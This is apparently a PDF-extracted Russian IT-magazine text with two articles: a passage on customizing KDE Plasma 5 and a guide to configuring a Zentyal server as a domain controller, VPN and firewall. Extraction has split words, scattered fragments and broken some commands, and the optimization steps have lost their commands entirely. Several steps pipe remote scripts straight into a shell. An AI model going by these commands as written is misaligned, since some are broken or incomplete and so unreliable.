На дос таточ но боль шом монито ре удоб нее исполь зовать тай ловый окон ный
менед жер.  Он  делит  рабочую  область  экра на  на  не  пересе кающиеся  друг
с  дру гом  пря моуголь ные  сег менты,  в  которых  раз меща ются  окна  при ложе‐ 
ний. Управлять при ложе ниями мож но сочета нием кла виш.

В Plasma 5 тай линг мож но вклю чить в стан дар тном KWin. Сде лать это нет‐ 
рудно,  добавив в  него сце нарий   Фаби ана  Хом борга  (Fabian Hom‐
borg). Дос таточ но выпол нить три коман ды:

kwin‐tiling

$ git clone https://github.com/faho/kwin‐tiling.git
$ cd kwin‐tiling/
$ plasmapkg2 ‐‐type kwinscript ‐i .

Те перь в парамет рах сис темы необ ходимо уста новить отметку нап ротив сце‐ 
нария Tiling Extension в нас трой ках сце нари ев KWin раз дела дис петче ра окон.

Тай линг с помощью сце нария KWin

Нас тро ив  тай линг,  начина ешь  ценить  отсутс твие  заголов ков  окон  и  кно пок
управле ния  окна ми,  вынесен ных  с  помощью  вид жета  Active  Window  Control
на вер хнюю панель.

ВЫВОДИМ РЕЗУЛЬТАТ РАБОТЫ КОНСОЛЬНОЙ КОМАНДЫ НА
РАБОЧИЙ СТОЛ
В  KDE  4  был  вид жет,  выводя щий  на  экран  резуль тат  работы  кон соль ной
коман ды,  но  с  перехо дом  на  Qt  5  в  Plasma  5  он  стал  нерабо тос пособен.
Поль зователь crbble раз работал вид жет stdout 5, пов торя ющий фун кци ональ‐ 
ность  ори гиналь ного  вид жета.  Его  внеш ний  вид  был  нем ного  недора ботан,
поэто му я   и слег ка навел лоск.фор кнул про ект

Ус тановить  вид жет  мож но  кло ниро вани ем  про екта  в 
:

~/.local/share/
plasma/plasmoids/

$ cd ~/.local/share/plasma/plasmoids/
$ clone https://github.com/Jacobtey/stdOUT5

Для  работы  вид жета  так же  необ ходимо  ска чать  и  уста новить  модифи циро‐ 
ван ный пла гин  .qml‐applauncher

Вы вод коман ды echo "`top ‐b ‐n 1 | head ‐n 15`" на рабочем сто ле

Вид жет  обра баты вает  коман ды  не  нап рямую.  В  стро ке  вво да  команд  необ‐ 
ходимо  про писать  путь  к  сце нарию  bash,  в  котором  нуж но  ука зать  коман ды
на  исполне ние.  Сам  сце нарий  мож но  помес тить  в  домаш ней  дирек тории.
Не забудь сде лать его исполня емым.

Шпар галка по KRunner
— запус тить при ложе ние;• konsole

 — выпол нить кон соль ную коман ду и показать резуль тат;• ls ~/Documents

 — открыть сайт в бра узе ре;• xakep.ru

 — открыть каталог в Dolphin;• file:/home/

 — открыть рас шарен ные пап ки Windows‐машины;• smb:WindowsHost

 — перек лючение меж ду дес кто пами;• Desktop 1

 — отпра вить пись мо;• support@xakep.ru

,  ,   — управле ние пле ером;• pause next play

,   — текущая дата или вре мя;• date time

 — каль кулятор;• = sqrt(4) + 32*sin(30*pi/180)

 — перес чет гра дусов Фарен гей та в гра дусы Цель сия;• 30 F

 — вычис ление соп ротив ления;• 220 V / 10 A =

 — перес чет дол ларов в руб ли;• 100 USD in RUB

 — про вер ка орфогра фии;• spell linux

 — управле ние яркостью;• screen brightness 100

 — отпра вить машину в сон.• sleep

МЕНЯЕМ ТЕМУ ОФОРМЛЕНИЯ
По явле ние новой темы офор мле ния Breeze в Plasma 5 выз вало мно го спо ров.
Мно гие  поль зовате ли  кри тичес ки  отнеслись  к  тому,  что  раз работ чики  под‐ 
дались  обще му  трен ду  плос кос тнос ти  интерфей сов.  Впро чем,  ник то
не меша ет вер нуть офор мле ние Oxygen или уста новить любое дру гое на свой
вкус. Лич но мне тема «Плаз мы» по умол чанию не показа лась такой уж ужас‐ 
ной.  Я  нем ного  поиг рал  с  цве товой  палит рой  в  нас трой ках  и  добил ся  при‐ 
емле мого для себя резуль тата.

Тем,  кто  хочет  поп робовать  что‐нибудь  све жее,  могу  пореко мен довать
вос поль зовать ся набором Arc KDE про екта Papirus Development Team, осно‐ 
ван ного  нашими  сооте чес твен никами.  Вдох новив шись  одно имен ной  темой
GTK, ребята раз вили ее,  так что офор мить в еди ном сти ле мож но не толь ко
ком понен ты KDE, но и бра узер Firefox, мес сен джер Telegram, поч товый кли ент
Nylas N1, про игры ватель VLC и сре ду раз работ ки Eclipse.

Ин терфейс KDE, офор млен ный с помощью Arc KDE

Ус тановить  весь  набор  мож но  готовы ми  пакета ми  в  Ubuntu,  Arch,  Manjaro,
openSUSE или  :Arc KDE

$ wget ‐qO‐ https://raw.githubusercontent.com/PapirusDevelopmentTeam/
arc‐kde/master/install‐arc‐kde‐home.sh

И уда лить, если не пон равит ся:

$ wget ‐qO‐ https://raw.githubusercontent.com/PapirusDevelopmentTeam/
arc‐kde/master/remove‐arc‐kde.sh | sh

СОЕДИНЯЕМСЯ С ANDROID
Смар тфо ны  на  базе  опе раци онной  сис темы  Android  дав но  обош ли
по  популяр ности  пер сональ ный  компь ютер,  поэто му  наличие  бес шовной
интегра ции  двух  этих  миров  не  вызыва ет  удив ления.  Нап ротив,  это  то,  что
сто ило  бы  внед рить,  если  бы  его  еще  не  было.  К  счастью,  коман да  KDE
подари ла  нам  KDE  Connect.  С  его  помощью  мож но  наладить  соп ряжение
компь юте ра  под  управле нием  Linux  со  смар тфо ном  на  Android  (на  под ходе
под дер жка iOS — ждем).

KDE  Connect  дол жен  быть  уста нов лен  на  компь юте ре  и  на  смар тфо не.
В  Google  Pay  это  при ложе ние  есть,  поэто му  уста нов ка  зат рудне ний
не вызовет.

При пер вом запус ке необ ходимо прос каниро вать сеть и раз решить соп‐ 
ряжение выб ранных устрой ств. Ини циато ром может выс тупать любое из них.
В  даль нейшем  под клю чение  будет  про исхо дить  авто мати чес ки  при  каж дом
появ лении  в  сети  (локаль ной)  обо их  устрой ств  одновре мен но.  При ложе ние
в Plasma 5 име ет свой вид жет, помеща емый в лоток. Это удоб ная общая точ‐ 
ка вхо да в управле ние и нас трой ку при ложе ния.

Па рамет ры KDE Connect

Сре ди наибо лее замет ных фун кций — дос туп к фай ловой сис теме смар тфо на
с  компь юте ра,  пересыл ка  фай лов,  опо веще ние  о  звон ках  и  СМС,  ответ
на СМС, исполь зование смар тфо на в качес тве сен сорной панели компь юте‐ 
ра, переда ча команд компь юте ру со смар тфо на. Работос пособ ность некото‐ 
рых фун кций зависит от вер сии Android.

ОПТИМИЗАЦИЯ
Пре тен зии  к  про изво дитель нос ти  KDE  лег ко  отмести,  сде лав  нес коль ко
шагов в сто рону сни жения пот ребле ния ресур сов.
1. От клю чить индекса цию фай лов поис ковой служ бой Baloo:

2. От клю чить всплы вающие под сказ ки:

3. От клю чить пла гины KRunner:

Луч ше  все  же  оста вить  себе  пару‐трой ку  сто ящих  пла гинов.  Сре ди  них
«При ложе ния», «Запуск прог рамм» и «Завер шение при ложе ний». А допол‐ 
нитель но  мож но  уста новить  пла гин  .  С  его  помощью  мож но
перево дить сло ва и пред ложения пря мо в окне KRunner. В пос леднем слу‐ 
чае пот ребу ется Яндекс.Пас порт для получе ния API Key.

Translator

4. От клю чить эффекты рабоче го сто ла:

5. От клю чить неис поль зуемые служ бы:

ВЫВОДЫ
Ког да  меня  спра шива ют,  почему,  про водя  пол жизни  за  компь юте ром,  я
при этом не играю в компь ютер ные игры, я отве чаю, что на моем компь юте ре
уста нов лен  Линукс,  а  это  тот  еще  квест.  Plasma  5  подоб на  про качан ной
компь ютер ной  игре  с  мно жес твом  опций.  Поэто му,  закон чив  нас тра ивать
что‐то  одно,  начина ешь  искать  мес то  при ложе ния  уси лий  для  нас трой ки
чего‐то дру гого.

https://www.kde.org/applications/system/yakuake/
https://github.com/faho/kwin-tiling
https://github.com/Jacobtey/stdOUT5
https://github.com/jacobtey/qml-applauncher
https://github.com/PapirusDevelopmentTeam/arc-kde
https://github.com/naraesk/krunner-translator
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SYNACK

Од нажды  меня  поп росили  уда лен но  под нять  и  нас тро ить
сер вер для неболь шой фир мы с пар ком из 30 компь юте ров.
Мой выбор пал на Zentyal — осно ван ный на Ubuntu дис три‐ 
бутив,  спе циаль но  пред назна чен ный  для  уста нов ки  на  сер‐ 
веры в малых и сред них кор поратив ных сетях. Этот слу чай я
исполь зую  для  того,  что бы  показать,  как  в  Zentyal  под нять
и нас тро ить все необ ходимое.

Из началь но меня про сили уста новить лишь VNC‐сер вер, который бы исполь‐ 
зовал ся  для  ока зания  опе ратив ной  под дер жки  кли ентам  без  при мене ния
TeamViewer или Ammyy Admin. Но,  как извес тно,  аппе тит при ходит во вре мя
еды.  У  кли ента  быс тро  наш лось  еще  мно го  хотелок,  которые  нуж но  было
«под нять».  Ну  и  как  всег да:  минимум  зат рат,  как  мож но  про ще,  желатель но
удоб но! Zentyal удов летво ряет всем этим тре бова ниям!

НЕМНОГО ТЕОРИИ И ФАКТОВ
В  осно ве  Zentyal  5.0  лежит  Ubuntu  16.04.  В  сос тав  дис три бути ва  вклю чен
пакет  для  груп повой  работы  SOGO  3.2.1,  для  интегра ции  с  сер висами  Mi‐
crosoft  исполь зует ся  Samba  4.5.1.  Zentyal  может  выс тупать  в  роли  сетево го
шлю за, еди ного цен тра безопас ности сети, Office Server,  сер вера уни фици‐ 
рован ных  ком муника ций  или  ком биниро вать  любые  из  перечис ленных  фун‐ 
кций.  Кро ме  того,  Zentyal  вклю чает  фрей мворк,  упро щающий  раз работ ку
новых служб для UNIX.

Уди витель ный факт! Чем боль ше вер сия, тем мень ше модулей управле ния
раз личны ми сер висами. Нап ример, в вер сии 2.Х на базе Zentyal мож но было
стро ить  вир туали зацию,  име лась  под дер жка  FTP,  раз личных  VPN  (сей час
остался  толь ко OpenVPN). Одна ко  домен ные  служ бы  для  работы  в  тан деме
с  AD  до  Windows  Server  2008  R2  вклю читель но  были  гораз до  хуже.  Обус‐ 
лавли вает ся это тем, что коман да Zentyal готовит свой про дукт как пол ноцен‐ 
ный  ана лог  Windows  Server  2012  с  AD,  груп повыми  полити ками,  поч товыми
сер висами и про чим. И это им уда лось!

А  если  вдруг  каких‐то  сер висов  или  служб  не  хва тает, мож но  уста новить
и нас тро ить,  как в обыч ной Ubuntu Server сис теме. Прав да, нуж но отме тить,
что  в Microsoft  ушли  уже на  уро вень AD Windows 2012 R2. А  это  уже сов сем
дру гая  исто рия.  Вни мание!  Zentyal  не  под держи вает  AD  уров ня  Windows
Server 2012 R2!

Итак, давай по поряд ку раз берем задачу. Вот что мне нуж но было под нять.
1. Фун кции  допол нитель ного  кон трол лера  домена Windows Server  2008 R2,
с пос леду ющим выводом из работы основно го кон трол лера домена Win‐
dows Server 2008 R2.

2. Об лачное  хра нили ще  на  базе  ownCloud/Nextcloud,  а  сле дова тель но,
необ ходим веб‐сер вер с MySQL и PHP на бор ту.

3. Об щие  пап ки  на  базе  SMB‐  и  NFS‐про токо ла,  для  орга низа ции  бэкапа
и обме на докумен тами.

4. Resilio Sync Server  (быв ший RSync Server),  для  орга низа ции  син хро низа‐ 
ции через BitTorrent.

5. OpenVPN‐сер вер  для  орга низа ции  дос тупа  к  ресур сам  кор поратив ной
сети извне.

6. Ор ганиза ция  FTP‐сер вера.  Необ ходим  для  внут ренних  при ложе ний  сер‐ 
вера 1С и ком муника торов.

7. Се тевые сер висы (DNS, DHCP).
8. Jabber‐сер вер для ком муника ции.
9. NTP‐сер вер. Служ ба син хро низа ции вре мени.

До пол нитель но — нас трой ка firewall. Безопас ность дол жна быть безопас ной!

УСТАНОВКА СИСТЕМЫ
Ус танов ка  Zentyal  из  обра за  ISO  мало  чем  отли чает ся  от  уста нов ки  Ubuntu
в тек сто вом режиме. И очень хорошо опи сана в интерне тах, поэто му оста нав‐ 
ливать ся на ней и тра тить вре мя не будем. Луч ше пос мотрим, что и как кон‐ 
фигури ровать. Сущес тву ет дру гой спо соб уста нов ки Zentyal на Ubuntu Server
или Debian. Сде лать мож но с помощью репов Zentyal. Для вер сии 5.0 это:

$ deb http://archive.zentyal.org/zentyal 5.0 main

И ключ:

$ wget ‐q http://keys.zentyal.org/zentyal‐5.0‐archive.asc ‐O‐ | sudo 
apt‐key add ‐

Да лее:

$ sudo apt update

И наконец:

$ sudo apt install zentyal 

Го тово!

ИТАК, ДАНО
Ус танов ленный  Zentyal  Server  5.0,  есть  админ ская  учет ная  запись,  а  так же
дос туп SSH + веб‐админка. Прис тупим. Пер вым делом, кому это необ ходимо,
меня ем  нас трой ки  язы ка.  Раз дел  Systems →  Language  selection.  Выбира ем
рус ский,  Zentyal  поп росит  выпол нить  коман ду  уста нов ки  доп пакетов  из  кон‐ 
соли, прос то копиру ем ее и встав ляем в кон соль, выпол няем.

Глав ная стра ница — Dashboard — Zentyal

Спер ва  необ ходимо  нас тро ить  сеть.  Сде лать  это  мож но  в  раз деле
«Интерфей сы» меню «Сеть». Zentyal под держи вает все сов ремен ные методы
нас трой ки сети. Если тебе мало тех, что дос тупны по умол чанию, мож но раз‐ 
бло киро вать  отдель ные  вир туаль ные  интерфей сы  для  кон фигури рова ния  их
через  веб‐панель  Zentyal.  Дела ется  это  из  кон соли,  пра вим  файл
/etc/zentyal/network.conf. В нем нас инте ресу ет стро ка

ifaces_to_ignore = sit,tun,tap,lo,irda,virbr,vboxnet,vnet

Здесь  перечис лены  все  интерфей сы,  которые  Zentyal  игно риру ет.  Находим
нуж ный,  уда ляем,  сох раня ем файл,  перезаг ружа ем.  В  резуль тате  в  раз деле
«Интерфей сы»  появит ся  наш  сетевой  интерфейс.  Если  во  вре мя  нас трой ки
сети что‐то вдруг пош ло не так, то для отладки из интерфей са дос тупны ути‐ 
литы  ping,  traceroute  и  nslookup.  Находят ся  они  в  раз деле  «Сеть →  Tools».
Не  забыва ем  ука зывать  в  нас трой ках,  какой  интерфейс  внеш ний,  для  дос‐ 
тупов в интерне ты. Так же если у тебя слож ная тополо гия сети, пре дус матри‐ 
вающая  нес коль ко  сетей,  работа ющих  через  шлю зы,  то  для  кор рек тной
работы  ста тичес кие  мар шру ты  сле дует  про писать  в  раз деле  «Сеть →  Ста‐ 
тичес кие мар шру ты». Дело в том, что Zentyal очень не любит, ког да в управля‐ 
емых  им  служ бах  копа ются  руками  (в  кон соли).  И  пос тоян но  регене риру ет
фай лы  нас тро ек  из  сво их  шаб лонов,  которые,  кста ти  говоря,  находят ся
по это му адре су: /usr/share/zentyal/stubs.

Нас трой ка сети в Zentyal

Про веря ем работу сети, дос тупность интерне тов и про чее. Если все хорошо,
перехо дим в раз дел «Управле ние прог рам мным обес печени ем → Ком понен‐ 
ты Zentyal». Отме чаем необ ходимые модули для уста нов ки. В нашем слу чае —
поч ти все, за исклю чени ем http‐proxy, так как интерне ты мы не огра ничи ваем.
Jabber  ста вить  будем  отдель но,  хотя  мож но  вклю чить  ком понент  jabber
Zentyal,  тог да  кон фигури рова ние  все  будет  в  веб‐панели  Zentyal.  Mail
and Groupware и Mail Filter  так же не уста нав лива ем, потому что поч той у нас
занима ется  отдель ный  сер вер.  Пос ле  уста нов ки  ком понен тов  необ ходимо
вклю чить модули в раз деле «Ста тус модуля».

Вы бор ком понен тов Zentyal для уста нов ки

НАСТРОЙКА СЕРВИСОВ
Нач нем, пожалуй, с прос того. А имен но: будем кон фигури ровать DHCP.

Нас трой ка служ бы DHCP в Zentyal очень прос та. Глав ное — запом нить, что
Zentyal  счи тает  все  сетевые  объ екты  сетевы ми  узла ми,  будь  то  ПК,  ноуты,
прин теры, ком мутато ры и так далее — в общем, любая железя ка. А под служ‐ 
бами Zentyal понима ет сетевые пор ты сер висов.

Ког да  с  эти ми  осо бен ностя ми  разоб рались  (они  нам  при годят ся
в основном при нас трой ке фай рво ла), перехо дим в раз дел DHCP. Выбира ем
нуж ный интерфейс,  у  нас  внут ренний один,  внеш ний дру гой. Внеш ние  сети,
понят ное  дело,  недос тупны  для  кон фигури рова ния  DHCP.  Если  у  тебя  внут‐ 
ренних  интерфей сов  нес коль ко,  то  они  все  будут  дос тупны  для  нас трой ки
DHCP. Нап ример, мож но повесить на раз ные интерфей сы раз ные сети. Итак,
в открыв шемся окне нажима ем «Кон фигура ция».

В  раз деле  «Общие  опции»  ука зыва ем  такие  парамет ры,  как  основной
шлюз  для  DHCP‐кли ентов,  поис ковый  домен,  основной  и  допол нитель ный
сер веры имен (DNS), а так же сер вер NTP (сер вер вре мени) и WINS‐сер вер.
Если ука зыва ем, что шлюз по умол чанию Zentyal, то внут ренний IP‐адрес сер‐ 
вера Zentyal будет отправ лен как основной шлюз DHCP‐кли енту, ана логич но
с DNS‐, NTP‐ и WINS‐сер верами. Если основной шлюз выпол няет ся на дру‐ 
гом  сетевом  узле  —  выбира ем  «Поль зователь ский  IP‐адрес»  и  вво дим  IP‐
адрес основно го шлю за. Для осталь ных нас трой ки ана логич ные.

Спус каем ся ниже. «Диапа зоны» — здесь зада ем необ ходимые диапа зоны
IP‐адре сов  и  их  количес тва.  Мож но  задать  имя  диапа зона  и  началь ный
и  конеч ный  адре са.  «Фик сирован ные  адре са»  —  сюда  мож но  добав лять
заранее  под готов ленные  груп пы  узлов,  для  резер вирова ния.  Под готовить
такие  груп пы  мож но  в  раз деле  «Сеть →  Объ екты».  Соз даем  новый  объ ект,
нап ример  office. Жмем  кноп ку  «Чле ны»  и  «Добавить».  Видим фор му  добав‐ 
ления  узлов. Необ ходимо ввес ти сетевое  (netbios) имя  узла, его  IP‐ и MAC‐
адре са. Таким обра зом мож но груп пировать, нап ример, прин теры, или ком‐ 
мутато ры, или  кабине ты. Одна ко очень важ но понимать,  что адре са из фик‐ 
сирован ных  не  дол жны  вхо дить  ни  в  один  диапа зон  раз дава емых  адре сов.
Перехо дим  в  под раздел  «Опции  динами чес кого DNS»  раз дела  «DHCP».  Тут
все прос то: выбира ем динами чес кий домен и сос тояние (вклю чено или вык‐ 
лючено). Далее «Допол нитель ные опции». Здесь мож но задать сро ки арен ды
IP‐адре сов  по  умол чанию  и  мак сималь ный  срок  арен ды  адре са.  Чуть  ниже
доволь но инте рес ная сек ция — нас трой ка тон ких кли ентов. В одной из пре‐ 
дыду щих ста тей мы рас смат ривали заг рузку по сети — PXE. Вот в этом раз‐ 
деле  как  раз  и  заносят ся  основные  парамет ры  заг рузки.  На  каком  сер вере
находит ся заг рузчик, какой файл гру зить.

Нас трой ка DHCP в Zentyal

Да лее перехо дим к нас трой ке DNS. Идем в раз дел с таким наз вани ем. Раз‐ 
реша ем  кеширо вание  DNS  («Раз решить  проз рачное  кеширо вание  DNS»).
Добав ляем  перенап равитель —  это  вышес тоящий  DNS‐сер вер,  к  которо му
обра тит ся  Zentyal,  если  в  его  базе  не  ока жет ся  записей.  Далее  добав ляем
зоны,  которые  будет  обслу живать  DNS‐сер вер.  Для  домен ных  служб  LDAP
не нуж но соз давать домен ную зону, она соз дает ся в соот ветс тву ющем раз‐ 
деле при нас трой ке служб доменов. Далее, при соз дании домена Domain  IP
Addresses  —  это  IP‐адре са  это го  домена.  «Име на  узлов»  —  сюда  мож но
добав лять под домен ные узлы (нап ример, дру гие сер веры или ком мутато ры).
«Поч товый  обменник»  —  здесь  соз дают ся  MX‐записи  для  поч товых  служб.
«Сер веры имен» — здесь соз дают ся NS‐записи домена. «TXT‐записи» — ну,
тут собс твен но  txt‐записи домена. «Служ бы» — здесь добав ляют ся сер висы
для обме на с внеш ними сер верами управле ния поль зовате лями.

Нас трой ка DNS в Zentyal

Да лее перехо дим к нас трой ке VPN, но перед этим нуж но выпус тить кор невой
сер тификат в цен тре сер тифика ции. Перехо дим в раз дел «Центр сер тифика‐ 
ции»  и  запол няем  прос тую фор му.  Пос ле  это го  генери руем  еще  один  сер‐ 
тификат  поль зовате ля,  он  необ ходим  для  кли ента  VPN.  Зада ем  имя  и  срок
дей ствия. Вни мание, срок дей ствия кли ент ско го сер тифика та не может быть
доль ше  кор невого  сер тифика та!  Жмем  изда ние.  Готово,  далее  перехо дим
к нас трой ке VPN.

VPN в Zentyal  реали зован на OpenVPN. Режимы работы все,  как  в Open‐
VPN. Сер вер — кли ент, сер вер — сер вер. Перехо дим в раз дел «VPN → Сер‐ 
веры», жмем «Добавить». Вво дим имя сер вера, и еще раз «Добавить». Пос ле
это го нажима ем «Кон фигура ция сер вера». Вво дим порт и выбира ем про токол
и  порт  (обыч но  UDP  и  стан дар тный  порт  для  OpenVPN  1194).  Зада ем  вир‐ 
туаль ную сеть, в которой работа ет VPN‐служ ба, и выбира ем сер тификат сер‐ 
вера,  обыч но  он  генери рует ся  авто мати чес ки  на  эта пе  соз дания  VPN‐сер‐ 
вера. Затем мож но перек лючить режим авто риза ции кли ентов по име ни, что я
край не  не  рекомен дую.  Далее  мож но  уста новить  такие  парамет ры,
как  интерфейс  TUN  (если  опция  вык лючена,  то  соз дает ся  вир туаль ный
интерфейс TAP). Режим тран сля ции сетевых адре сов (NAT). Раз решения под‐ 
клю чения  кли ент ских  машин  друг  к  дру гу.  Раз решения  тун нелей  Zentyal  —
Zentyal.  Далее  мож но  отклю чить  мар шру ты  VPN‐кли ентов.  Выбира ем
интерфейс, на котором будет висеть VPN‐сер вис, мож но выб рать оба. Так же
мож но  задать  параметр  «шлюз  пере адре сации»,  что  сде лает  сер вер
основным шлю зом для кли ента.

Те перь  перехо дим  к  нас трой ке  домена  и  груп повых  политик. Откры ваем
«Поль зовате ли и груп пы».

Нас трой ка служб катало гов на базе Zentyal

Вы бира ем  тип сер вера и домен ное имя сер вера.  Готово! Если необ ходимо
пос ле это го внес ти изме нения в нас трой ки, нуж но перей ти в раз дел «Домен
→  Нас трой ки».  Пос ле  ста новит ся  дос тупен  раз дел  «Шаринг  фай лов».
Это  собс твен но  служ бы  общих  папок.  Здесь  отоб ража ется  струк туриро ван‐ 
ное  дерево  домена,  в  котором  вид но  поль зовате лей  домена,  компь юте ры
домена и кон трол леры домена. Напом ним, что Zentyal под держи вает работу
служб AD до уров ня Windows Server 2012, при чем в качес тве допол нитель ного
кон трол лера  домена  (для  обес печения  резер вирова ния  мож но  уста новить
еще один Zentyal‐сер вер или Windows Server с AD).

Де рево AD Zentyal

WWW

•Ус танов ка  Zentyal  как  основно го  кон трол лера
домена

•How To по  уста нов ке Zentyal  в  качес тве допол‐ 
нитель ного кон трол лера домена

•Соз дание под разде лений домена и управле ние
кон трол лером домена Zentyal

•Ви деома нуал  по  уста нов ке  Zentyal  в  качес тве
допол нитель ного кон трол лера домена

Ес ли ранее был кон трол лер домена на Windows, то мож но уста новить Zentyal
как  допол нитель ный  кон трол лер  домена  с  пос леду ющей  воз можностью
отклю чить  Windows‐кон трол лер  домена.  Заходим  «Домен  →  Нас трой ки».
Изме няем  роль  сер вера  на  Additional  domain  controller  и  запол няем  фор му
сле дующим обра зом:

Domain controller FQDN = example.lan (наш домен)
Domain DNS server IP = 192.168.1.2 (IP нашего основного контроллера 
домена)
Administrator account = adadmin (логин с правами администратора 
домена)
Пароль администратора = *********** (пароль пользователя)
NetBIOS domain name = example

За ходим в «Ста тус модуля». Отме чаем File Sharing and Domain Services. Сох‐ 
раня ем изме нения.

Да лее  перехо дим  в  «Поль зовате ли  и  компь юте ры  домена»,  убеж даем ся,
что все работа ет и син хро низи рова лось.

В общем, работа ют служ бы AD без осо бых проб лем. Адми нам, при вык шим
к управле нию AD через Windows‐сре ду, мож но ска чать пакет для управле ния
домен ными  служ бами  из Windows — RSAT.  Ска чать  его  мож но  с  офи циаль‐ 
ного сай та Microsoft.

Воз можнос ти  Zentyal  не  огра ничи вают ся  ком понен тами  из  цен тра
управле ния  пакета ми.  Бла года ря  тому  что  Zentyal  реали зован  на  базе  опе‐ 
раци онной  сис темы  Ubuntu,  мож но  под клю чать  любые  репози тории  и  уста‐ 
нав ливать  допол нитель ное  прог рам мное  обес печение. Прав да,  сто ит  отме‐ 
тить, что нас тра ивать его при дет ся тра дици онны ми средс тва ми. :)

Пе рехо дим  к  нас трой ке  фай рво ла,  потому  что  под нять  —  это  одно,
а защитить от вра гов — это сов сем дру гое! Раз Zentyal осно ван на Ubuntu, то
раз дел  «Фай рвол» —  это  реали зация  веб‐управле ния  штат ным  фай рво лом
Ubuntu  —  леген дарным  iptables.  Если  кто  не  понима ет  его  син такси са,
с веб‐панелью воротить пра вила очень прос то!

Итак, в раз деле дос тупны четыре основных под разде ла нас трой ки пра вил
фай рво ла.
1. Пра вила филь тра ции из внут ренних сетей на Zentyal.
2. Пра вила филь тра ции из внеш них сетей на Zentyal.
3. Пра вила филь тра ции исхо дяще го тра фика.
4. Пра вила филь тра ции меж ду внут ренни ми сетями Zentyal.

Из наз вания раз делов понят но, какой для чего.

Раз делы фай рво ла Zentyal

Рас смот рим  на  при мере  раз дела  «...из  внеш них  сетей  на  Zentyal».  Здесь
основные  поля  при  добав лении  пра вила —  раз решение,  источник,  служ ба,
опи сание и дей ствие. По умол чанию все уста нов ленные служ бы уже дос тупны
для  добав ления  в  пра вила.  Если  понадо бит ся  какое‐то  нес тандар тное  пра‐ 
вило или открыть дос туп к служ бе, уста нов ленной допол нитель но из репози‐ 
тори ев и недос тупной для  управле ния из Zentyal, мож но в раз деле «Сеть →
Служ бы» ука зать нуж ный сер вис и необ ходимые пор ты, пос ле чего добавить
пра вило в фай рво ле. Либо в нуж ном раз деле фай рво ла нажать  «Добавить»,
в спис ке служб выб рать «Добавить», и откро ется фор ма добав ления нового
сер виса и пор тов в служ бы.

До бав ление пра вила фай рво ла Zentyal

Не забыва ем, что зап реща ющие пра вила всег да дол жны быть ниже, чем раз‐ 
реша ющие.  Так же  при  нас трой ке  фай рво ла  по  сети  не  забудь  преж де
добавить раз реша ющие пра вила для SSH и веб‐панели адми нис три рова ния
Zentyal,  что бы  не  потерять  дос туп  к  сер веру.  Пос ле  всех  нас тро ек  мож но
перей ти  на  «Рабочий  стол»  Zentyal  и  помес тить  необ ходимые  для  отоб‐ 
ражения дан ные.

Ра бочий стол Zentyal

Кноп ка, выделен ная на скрин шоте, поможет добавить нуж ные наборы дан ных
для отоб ражения.

Пос ле нас трой ки сер вера неп лохо бы позабо тить ся о его резер вирова нии
и опе ратив ном реани миро вании при сбо ях. В Zentyal это пре дус мотре но раз‐ 
делом «Сис тема → Резер вное копиро вание кон фигура ции». Перей дя в раз‐ 
дел,  уви дишь,  нас коль ко  прос то  реали зова на  сис тема  резер вно го  копиро‐ 
вания кон фигура ций. Мож но, задав имя, сде лать бэкап текуще го сос тояния.
Мож но под гру зить ранее соз данный архив с кон фигура цией. Мож но сге нери‐ 
ровать отчет о резер вном копиро вании. Пос коль ку нет при вяз ки к железу, то
без тру да мож но перенес ти кон фигура цию на дру гой сер вер.

Ре зер вное копиро вание кон фигура ций Zentyal

ЗАКЛЮЧЕНИЕ
Zentyal  —  отличный  про дукт,  который  пре дос тавля ет  инс тру мен ты
для управле ния все ми аспекта ми работы дис три бути ва через веб‐интерфейс,
в рам ках которо го объ еди нено око ло сорока модулей для управле ния сетью,
сетевы ми  сер висами,  офис ным  сер вером  и  ком понен тами  инфраструк туры
пред при ятия.  Сто ит  отдель но  отме тить,  что  дизайн  самого  интерфей са
управле ния замет но улуч шился по срав нению с пре дыду щими вер сиями вто‐ 
рой и треть ей линей ки вер сий. Сис тема базиру ется на Ubuntu 16.04 LTS, что
говорит о  дли тель ной под дер жке дис три бути ва — а  это  тоже немало важ но.
В целом очень неп лохое решение, осо бен но для поз нающих линук совый мир
адми нов. :)

Ес ли  кого‐то  заин тересо вало  решение,  в  том  чис ле  для  пос тро ения
домена  на  базе  Zentyal  со  все ми  наворо тами  типа  GPU,  в  ком мента риях
добав лю  ссыл ку  на  матери алы  по  под готов ке  скрип тов  для  груп повых
политик.  А  так же  нем ного  матери алов  для  адми нис три рова ния  домена  AD
на Zentyal.

Всем спа сибо!

mailto:plus@omsklug.com
http://www.tecmint.com/install-zentyal-as-primary-domain-controller-and-integrate-windows-system/
http://www.ewgenik.tomsk.ru/page/zentyal-v-kachestve-dopolnitelnogo-kontrol
http://www.tecmint.com/creating-organizational-units-and-enableing-group-policy-in-zentyal/
https://www.youtube.com/watch?v=81Yzy7qA2e4
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